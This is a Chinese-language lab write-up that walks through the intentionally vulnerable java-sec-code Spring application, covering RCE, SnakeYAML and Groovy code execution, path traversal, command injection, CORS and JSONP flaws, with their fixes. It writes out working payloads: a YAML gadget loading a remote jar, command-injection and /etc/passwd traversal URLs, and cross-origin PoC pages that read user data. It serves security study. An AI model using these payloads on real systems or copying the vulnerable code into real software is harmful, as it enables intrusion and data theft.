环境配置

下载地址:

https://github.com/JoyChou93/java-sec-code

选择本地的换源Maven

创建数据库并导入文件

image-20230305214851004

然后修改一下application.properties的数据库用户名密码

image-20230305215327677

注意不要用jdk.17.0.1,里面的xalan包有问题

image-20230306122621408

我是在windows上搭建环境

需要修改一些代码

image-20230306155002995

image-20230306155544869

登录模块

login.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">

<head>
<title>Login</title>
<meta charset="UTF-8" />
<meta name="_csrf" th:content="${_csrf.token}" />
<meta name="_csrf_headerName" th:content="${_csrf.headerName}" />
<meta name="_csrf_parameterName" th:content="${_csrf.parameterName}" />
<link rel="stylesheet" th:href="@{/css/login.css}" type="text/css" />
<script th:src="@{https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js}"></script>

<script>
window.csrfToken = {
"tokenName" : $("meta[name='_csrf_headerName']").attr("content"),
"tokenValue" : $("meta[name='_csrf']").attr("content")
};
console.log(csrfToken.tokenName);
console.log(csrfToken.tokenValue);

</script>

</head>


<body>
<div class="login-page">
<div class="form">
<input type="text" placeholder="Username" name="username" required="required"/>
<input type="password" placeholder="Password" name="password" required="required"/>
<p><input type="checkbox" name="remember-me" checked="checked"/>RememberMe</p>
<button onclick="login()">Login</button>
</div>
</div>
</body>
<script th:inline="javascript">
var ctx = [[@{/}]];
//Thymeleaf获取项目根路径三种方法
// var ctxPath = [[@{/}]];
// var ctxPath = /*[[@{/}]]*/'';
// var ctxPath=[[${#httpServletRequest.getContextPath()}]];
var tokenHeader = {};
tokenHeader[csrfToken.tokenName] = csrfToken.tokenValue; // header must be a object

function login() {
var username = $("input[name='username']").val();
var password = $("input[name='password']").val();
var remember_me =$("input[name='remember-me']").is(':checked');
$.ajax({
type: "post",
url: ctx + "login",//拼接路径发送post请求到login
// headers: {csrfToken.tokenName: csrfToken.tokenValue} not ok
// headers: { "X-XSRF-TOKEN" : csrfToken} ok
headers: tokenHeader,
data: { "username": username, "password": password, "remember-me": remember_me},
dataType: "json",
success: function (r) {
if (r.code == "0") {
// alert(r.message);
if (r.redirectUrl == '') {
location.href = ctx + "index";
} else {
location.href = r.redirectUrl;
}
} else {
alert(r.message);
}
}
});
}
</script>
</html>

login.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.joychou.controller;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


@Controller
//SpringMVC下的控制器类,其下的RequestMapping会分配路由
public class Login {

protected final Logger logger = LoggerFactory.getLogger(this.getClass());
//通过传入的参数处理登录请求

@RequestMapping("/login")
public String login() {
return "login";
}

@GetMapping("/logout")
public String logoutPage(HttpServletRequest request, HttpServletResponse response) {

String username = request.getUserPrincipal().getName();

Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if (auth != null) {
new SecurityContextLogoutHandler().logout(request, response, auth);
}

String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie
for (String key : deleteCookieKey) {
Cookie cookie = new Cookie(key, null);
cookie.setMaxAge(0);
cookie.setPath("/");
response.addCookie(cookie);
}

if (null == request.getUserPrincipal()) {
logger.info("USER " + username + " LOGOUT SUCCESS.");
} else {
logger.info("User " + username + " logout failed. Please try again.");
}

return "redirect:/login?logout";
}

}

admin/admin123

RCE

index.html的超链接需要手动修改

image-20230306160237126

/rce/runtime/exec?cmd=ipconfig

image-20230306163030051

exec执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@RestController
//只能返回json数据
@RequestMapping("/rce")
public class Rce {

@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
//该方法被绑定在路由上,传入cmd参数直接调用
Runtime run = Runtime.getRuntime();
//获取当前系统的运行时环境
StringBuilder sb = new StringBuilder();

try {
Process p = run.exec(cmd);
//exec方法返回一个Process对象
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
//获取对象输入流
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
//建议将`InputStreamReader`包裹在`BufferedReader`中以获得最佳效率
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {//不为空读取
sb.append(tmpStr);//往设置的字符串构建器中符加字符串
}

if (p.waitFor() != 0) {//如果超时
if (p.exitValue() == 1)//杀死进程
return "Command exec failed!!";
}

inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();//返回字符串构造器的字符串
}

ProcessBuilder执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {

StringBuilder sb = new StringBuilder();

try {
String[] arrCmd = {"/bin/sh", "-c", cmd};
//字符串数组,-c表示后面是要执行的命令
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
//把字符串数组传入构建processBuilder
Process p = processBuilder.start();
//构建子进程
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
//存入缓冲输入流
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
//BufferedReader包裹提高效率
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}

return sb.toString();
}

js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
//创建ScriptEngine脚本引擎,里面包含方法eval,createBindings,setBindings
//获取通过jsurl传入的文件扩展名为js的脚本
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
//通过engine.getBindings获取js脚本文件中的方法和属性
//用于存放数据的容器它有3个层级,为Global级、Engine级和Local级,前2者通过ScriptEngine.getBindings()获得,
// 是唯一的对象,而Local Binding由ScriptEngine.createBindings()获得Global对应到工厂,Engine对应到ScriptEngine,
// 向这2者里面加入任何数据或者编译后的脚本执行对象,在每一份新生成的Local Binding里面都会存在???不理解
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
//开始执行
}

payload:

var a = main();
function main(){
var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");
}

Yaml反序列化命令执行

探测一下

1
!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://prg6y8.dnslog.cn%22]]]]

image-20230306174415161

漏洞原理就是SnakeYAML的反序列化漏洞,在解析恶意的yml内容时会完成指定动作,先是触发java.net.URL拉取远程HTTP服务器上的恶意jar文件,然后寻找jar文件中的实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成RCE漏洞

Java–SnakeYaml反序列化 - Erichas - 博客园 (cnblogs.com)

1
2
3
4
5
@GetMapping("/vuln/yarm")
public void yarm(String content) {//直接传content参数
Yaml y = new Yaml();
y.load(content);
}

yaml-payload/AwesomeScriptEngineFactory.java at master · artsploit/yaml-payload · GitHub

师傅写好的脚本,稍作修改

1
2
3
4
5
6
7
8
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

打包一下

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

然后传进去

1
2
3
4
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
!!java.net.URL ["http://localhost/yaml-payload.jar"]
]]
]

Groovy 命令执行

Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库

1
2
3
4
5
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}

GroovyShell可动态运行groovy语言,也可用于命令执行,如果用户输入不加以过滤就会导致rce

1
2
http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
http://localhost:8080/rce/groovy?content="calc".execute()

image-20230306181453532

path_traversal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.joychou.controller;

import org.apache.commons.codec.binary.Base64;
import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;

@RestController//返回json格式
public class PathTraversal {

protected final Logger logger = LoggerFactory.getLogger(this.getClass());

/**
* http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
*/
@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}

@GetMapping("/path_traversal/sec")
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {//如果返回值为空,就被过滤了
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}

private String getImgBase64(String imgFile) throws IOException {//其实这个api无论再怎么过滤也可以读取其他文件....

logger.info("Working directory: " + System.getProperty("user.dir"));
//返回运行java命令的路径
logger.info("File path: " + imgFile);
//控制台输出信息

File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));//把所有字节储存data字节数组
return new String(Base64.encodeBase64(data));//把data字节数组转化为字符串返回
} else {
return "File doesn't exist or is not a file.";
}
}

public static void main(String[] argv) throws IOException {
String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8);//Files.readAllBytes读取文件所有字节,返回字节数组
//Paths.get()方法将给定的文件路径转化为Path对象
//把pom.xml的所有字节读取出来,使用String类构造函数把字节数组以UTF-8的形式解码成字符串赋值给aa
System.out.println(aa);
}
}

官方修复是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* Filter file path to prevent path traversal vulns.
*
* @param filepath file path
* @return illegal file path return null
*/
public static String pathFilter(String filepath) {
String temp = filepath;

// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
//返回字符串第一次出现%的索引,如果没有出现返回-1
try {
temp = URLDecoder.decode(temp, "utf-8");
//URL解码
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}

if (temp.contains("..") || temp.charAt(0) == '/'||temp.contains(":")) {//这里需要加上:过滤,因为在windows下可以用绝对路径绕过
//如果包含..或者第一个字符是/,返回null
return null;
}

return filepath;
}

codeinject

image-20230306202253781

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.joychou.controller;

import org.joychou.security.SecurityUtil;
import org.joychou.util.WebUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@RestController
public class CommandInject {

protected final Logger logger = LoggerFactory.getLogger(this.getClass());//获取登陆状态

/**
* http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd
*
* @param filepath filepath
* @return result
*/
@GetMapping("/codeinject")
public String codeInject(String filepath) throws IOException {

//String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
String[] cmdList = new String[]{"cmd.exe", "/c", "dir" + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
//流程构建器结合了标准错误和标准输出
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());//convertStreamToString分析

}

/**
* Host Injection
* Host: hacked by joychou;cat /etc/passwd
* http://localhost:8080/codeinject/host
*/
@GetMapping("/codeinject/host")
//在该路由下host注入在7.9Tomcat级以上不支持请求链接有特殊字符,否则报400
//它按照RFC3986规范只允许URL有字母数字-_.~4个特殊字符以及! * ’ ( ) ; : @ & = + $ , / ? # [ ]保留字符
public String codeInjectHost(HttpServletRequest request) throws IOException {

String host = request.getHeader("host");//这种host的获取方法是不安全的
logger.info(host);
String[] cmdList = new String[]{"cmd.exe", "-c", "dir " + host};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}

@GetMapping("/codeinject/sec")
public String codeInjectSec(String filepath) throws IOException {
String filterFilePath = SecurityUtil.cmdFilter(filepath);
if (null == filterFilePath) {//如果filterFilePath的返回值为空就被过滤
return "Bad boy. I got u.";
}
String[] cmdList = new String[]{"cmd", "-c", "dir " + filterFilePath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
}

convertStreamToString分析

1
2
3
4
5
6
    public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");//\\D匹配非数字
return s.hasNext() ? s.next() : "";
}//把输入流InputStream 使用Scanner类匹配,useDelimiter("\\A")表示会匹配输入的开头来设置分隔符,
// 所以Scanner会读取整个输入流内容,然后hasNext()检查对象是否有下一个可用的字符串,如果有使用next获取,否则返回空字符串
//作用就是把其他来源的数据转化Java字符串

SecurityUtil.cmdFilter(filepath);跟进一下

cmdFilter

1
2
3
4
5
6
7
8
    public static String cmdFilter(String input) {
if (!FILTER_PATTERN.matcher(input).matches()) {
//如果input没有匹配FILTER_PATTERN,那就返回空
return null;
}
return input;
}
//private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");//从开头到结尾都不存在命令分隔符

image-20230306203600807

CORS

前端发起的AJAX请求都会收到同源策略CORS的限制,发起AJAX的请求方法如下:

  • XMLHttpRequest
  • JQuery的$.ajax
  • Fetch

前端在发起AJAX请求时,同域名访问的origin为空,如果此时后端代码时response.setHeader("Access-Control-Allow-Origin",origin),那么Response的header中不会出现Access-Control-Allow-Origin,因为Origin为空

POC

受害者访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js">
</script>
<body>
<script>
$.ajax({
type: "GET",
url: "http://localhost:8080/cors/vuls2",
success: function(data) {
alert(data);
},
error: function(msg) {
alert(msg)
}
});
</script>
</body>

</html>

POC2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<body>
<div id="demo">
<button type="button" id="midi" name="midi">test</button>
</div>

<script>
$(function () {
$("#midi").click(function (event) {//把事件绑定到midi元素

$.ajax({
type: "GET",
url: "http://192.168.1.100:8080/cors/vuln/origin",
headers:{'origin':'*'},
success: function(result) {
console.log(result);
}
});
});
});
</script>
</body>
</html>
这个POC由于在W3C的规定,header出现以下字符会被终止,但是ajax请求会自动补充origin请求头,造成信息泄露
Accept-Charset
Accept-Encoding
Connection
Content-Length
Cookie
Cookie2
Content-Transfer-Encoding
Date
Expect
Host
Keep-Alive
Referer
TE
Trailer
Transfer-Encoding
Upgrade
User-Agent
Via

image-20230307082130039

image-20230307082352255

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package org.joychou.controller;

import org.joychou.security.SecurityUtil;
import org.joychou.util.LoginUtils;
import org.springframework.security.web.csrf.CsrfToken;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
* @author JoyChou (joychou@joychou.org) @2018.10.24
* https://github.com/JoyChou93/java-sec-code/wiki/CORS
*/

@RestController
@RequestMapping("/cors")
public class Cors {

private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

@GetMapping("/vuln/origin")//在这个路由下,能够访问就返回信息
public String vuls1(HttpServletRequest request, HttpServletResponse response) {

Cookie cookie1=new Cookie("anz","aaanz");//为增强效果,人为设置一个Cookie
response.addCookie(cookie1);

String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header,允许设置origin
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie,允许浏览器发送给服务器包含凭证的请求,否则请求被拒绝,这样确保只有被授权的网站能够访问用户信息,前端必须设置withCredentials为true
return info;
}

@GetMapping("/vuln/setHeader")
public String vuls2(HttpServletResponse response) {
response.setHeader("Access-Control-Allow-Origin", "*");
//后端设置Access-Control-Allow-Origin为*的情况下(也就是允许来自任何域访问)
//跨域的时候前端如果设置withCredentials为true会异常
//withCredentials是XMLHttpRequests的一个属性,允许在进行跨域请求时发送或接受包含凭据的请求,为true时发送请求会把网页凭证信息一并发给服务器,前提是开启Access-Control-Allow-Credentials
return info;
}


@GetMapping("*")
@RequestMapping("/vuln/crossOrigin")
public String vuls3() {
return info;
}


/**
* 重写Cors的checkOrigin校验方法
* 支持自定义checkOrigin,让其额外支持一级域名
* 代码:org/joychou/security/CustomCorsProcessor
*/
@CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
@GetMapping("/sec/crossOrigin")//????????
public String secCrossOrigin() {
return info;
}


/**
* WebMvcConfigurer设置Cors
* 支持自定义checkOrigin
* 代码:org/joychou/config/CorsConfig.java
*/
@GetMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}


/**
* spring security设置cors
* 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
* 代码:org/joychou/security/WebSecurityConfig.java
*/
@GetMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}


/**
* 自定义filter设置cors
* 支持自定义checkOrigin
* 代码:org/joychou/filter/OriginFilter.java
*/
@GetMapping("/sec/originFilter")
public CsrfToken getCsrfToken_03(CsrfToken token) {
return token;
}


/**
* CorsFilter设置cors。
* 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行
* 代码:org/joychou/filter/BaseCorsFilter.java
*/
@RequestMapping("/sec/corsFilter")
public CsrfToken getCsrfToken_04(CsrfToken token) {
return token;
}


@GetMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");

// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
if (origin != null && SecurityUtil.checkURL(origin) == null) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
return LoginUtils.getUserInfo2JsonStr(request);
}


}

随意访问配置:

1
2
Access-Control-Allow-Credentials' 'true';
Access-Control-Allow-Origin *;

不能实现a.com带上Cookie跨域请求b.com,b.com的请求中头的Cookie不会存在a.com的Cookie

跨域带Cookie测试

测试在xxx.joychou.org跨域请求test.joychou.org,并且成功在test.joychou.org请求头里带上xxx.joychou.org的Cookie。相关步骤:

  1. xxx.joychou.org设置一个aaa=bbb,domain为.joychou.org的Cookie
  2. xxx.joychou.org的test.html,前端代码设置withCredentials为true
  3. test.joychou.org后端设置Access-Control-Allow-Credentials为true
  4. test.joychou.org后端设置Access-Control-Allow-Origin为Origin里的值

http://xxx.joychou.org/test.html 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js">
</script>
<body>
<script>
$.ajax({
type: "GET",
url: "http://test.joychou.org",
xhrFields: {
withCredentials: true
},
success: function(data) {
alert(data);
},
error: function(msg) {
alert(msg)
}
});
</script>
</body>

</html>

Nginx导致Cors及修复方案

存在漏洞配置:

1
2
3
add_header  Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods GET,POST,PUT,DELETE,OPTIONS;
add_header 'Access-Control-Allow-Credentials' 'true';

or

1
2
3
add_header 'Access-Control-Allow-Origin' "$http_origin";
add_header Access-Control-Allow-Methods GET,POST,PUT,DELETE,OPTIONS;
add_header 'Access-Control-Allow-Credentials' 'true';

修复方案需要限制origin:

1
2
add_header 'Access-Control-Allow-Origin' https://test.joychou.org;
add_header 'Access-Control-Allow-Origin' http://test.joychou.org;

Jsonp

JSONP是实现跨域的技术,在jQuery中可以通过JSONP形式回调函数来加载其他网域的数据,如anz?callback=?,jQuery将自动替换?把其替换为系统函数,然后映射调用

举个例子:

anz?callback=anzcallback,这里的anzcallback就是?替换,一般是jQuery自动生成

返回的数据:
anzcallback({“id”:"1","name":"张三"})

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package org.joychou.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import com.alibaba.fastjson.JSONPObject;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang.StringUtils;
import org.joychou.security.SecurityUtil;
import org.joychou.util.LoginUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
import org.springframework.security.web.csrf.CsrfToken;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.json.MappingJackson2JsonView;
import org.joychou.config.WebConfig;
import org.joychou.util.WebUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.security.Principal;


/**
* @author JoyChou (joychou@joychou.org) @ 2018.10.24
* https://github.com/JoyChou93/java-sec-code/wiki/JSONP
*/

@Slf4j//在控制台打印日志信息
@RestController
@RequestMapping("/jsonp")
public class Jsonp {

private String callback = WebConfig.getBusinessCallback();

@Autowired//自动寻找IOC的bean并装填
CookieCsrfTokenRepository cookieCsrfTokenRepository;
/**
* Set the response content-type to application/javascript.
* <p>
* http://localhost:8080/jsonp/vuln/referer?callback_=test
*/
@RequestMapping(value = "/vuln/referer", produces = "application/javascript")
public String referer(HttpServletRequest request) {
String callback = request.getParameter(this.callback);
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}

/**
* Direct access does not check Referer, non-direct access check referer.
* Developer like to do jsonp testing like this.
* <p>
* http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test
*/
@RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
public String emptyReferer(HttpServletRequest request) {
String referer = request.getHeader("referer");

if (null != referer && SecurityUtil.checkURL(referer) == null) {
return "error";
}
String callback = request.getParameter(this.callback);
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}

/**
* Adding callback or _callback on parameter can automatically return jsonp data.
* http://localhost:8080/jsonp/object2jsonp?callback=test
* http://localhost:8080/jsonp/object2jsonp?_callback=test
*
* @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
* Such as JSONOjbect or JavaBean. String type cannot be used.
*/
@RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
public JSONObject advice(HttpServletRequest request) {
return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
}


/**
* http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
* Reference: https://p0sec.net/index.php/archives/122/ from p0
* Affected version: java-sec-code test case version: 4.3.6
* - Spring Framework 5.0 to 5.0.6
* - Spring Framework 4.1 to 4.3.17
*/
@RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
Principal principal = req.getUserPrincipal();
view.addObject("username", principal.getName());
return view;
}


/**
* Safe code.
* http://localhost:8080/jsonp/sec?callback_=test
*/
@RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
public String safecode(HttpServletRequest request) {
String referer = request.getHeader("referer");

if (SecurityUtil.checkURL(referer) == null) {
return "error";
}
String callback = request.getParameter(this.callback);
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}

/**
* http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
*
* object to jsonp
*/
@GetMapping("/getToken")
public CsrfToken getCsrfToken1(CsrfToken token) {
return token;
}

/**
* http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
*
* fastjsonp to jsonp
*/
@GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
public String getCsrfToken2(HttpServletRequest request) {
CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token

String callback = request.getParameter("fastjsonpCallback");
if (StringUtils.isNotBlank(callback)) {
JSONPObject jsonpObj = new JSONPObject(callback);
jsonpObj.addParameter(csrfToken);
return jsonpObj.toString();
} else {
return csrfToken.toString();
}
}

}

只简单看一下:

1
2
3
4
5
6
7
8
@ControllerAdvice
//用于声明一个类作为全局控制器,JSONPAdvice类是一个全局的控制器建议类,用于处理 JSONP 格式的响应,表示如果一个请求的参数名为 "callback" 或 "cback",则 Spring MVC 将自动把响应数据包装成 JSONP 格式返回
public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {

public JSONPAdvice() {
super("callback", "cback"); // callback的参数名,可以为多个
}
}

当有接口返回了Object(比如JSONOBbject或者JavaBean,但是不支持STring),只要在参数中加入callback=test或者cback=test就会自动变成JSONP接口,比如

1
2
3
4
5
6
@RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE)
//指定请求类型为JSON格式
public JSONObject advice() {
String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
return JSON.parseObject(info);
}

虽然上面代码指定了response的content-typeapplication/json,但是在AbstractJsonpResponseBodyAdvice类中会设置为application/javascript,提供给前端调用。

设置content-typeapplication/javascript的代码:

1
2
3
protected MediaType getContentType(MediaType contentType, ServerHttpRequest request, ServerHttpResponse response) {
return new MediaType("application", "javascript");
}

还会判断callback的参数是否有效

1
2
3
4
5
private static final Pattern CALLBACK_PARAM_PATTERN = Pattern.compile("[0-9A-Za-z_\\.]*");

protected boolean isValidJsonpQueryParam(String value) {
return CALLBACK_PARAM_PATTERN.matcher(value).matches();
}

增加了对refer的验证

1
2
3
4
5
6
7
8
9
10
@RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
public String emptyReferer(HttpServletRequest request) {
String referer = request.getHeader("referer");

if (null != referer && SecurityUtil.checkURL(referer) == null) {
return "error";
}
String callback = request.getParameter(this.callback);
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}

空refer

1
2
3
4
5
6
7
8
9
10
<html>
<meta name="referrer" content="no-referrer" />

<script>
function test(data){
alert(data.name);
}
</script>
<script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>
</html>

iframe标签绕过

1
<iframe src="javascript:'<script>function test(data){alert(data.name);}</script><script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>'"></iframe>

JSONP · JoyChou93/java-sec-code Wiki · GitHub

JSONP绕过CSRF防护token - 先知社区 (aliyun.com)

SQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
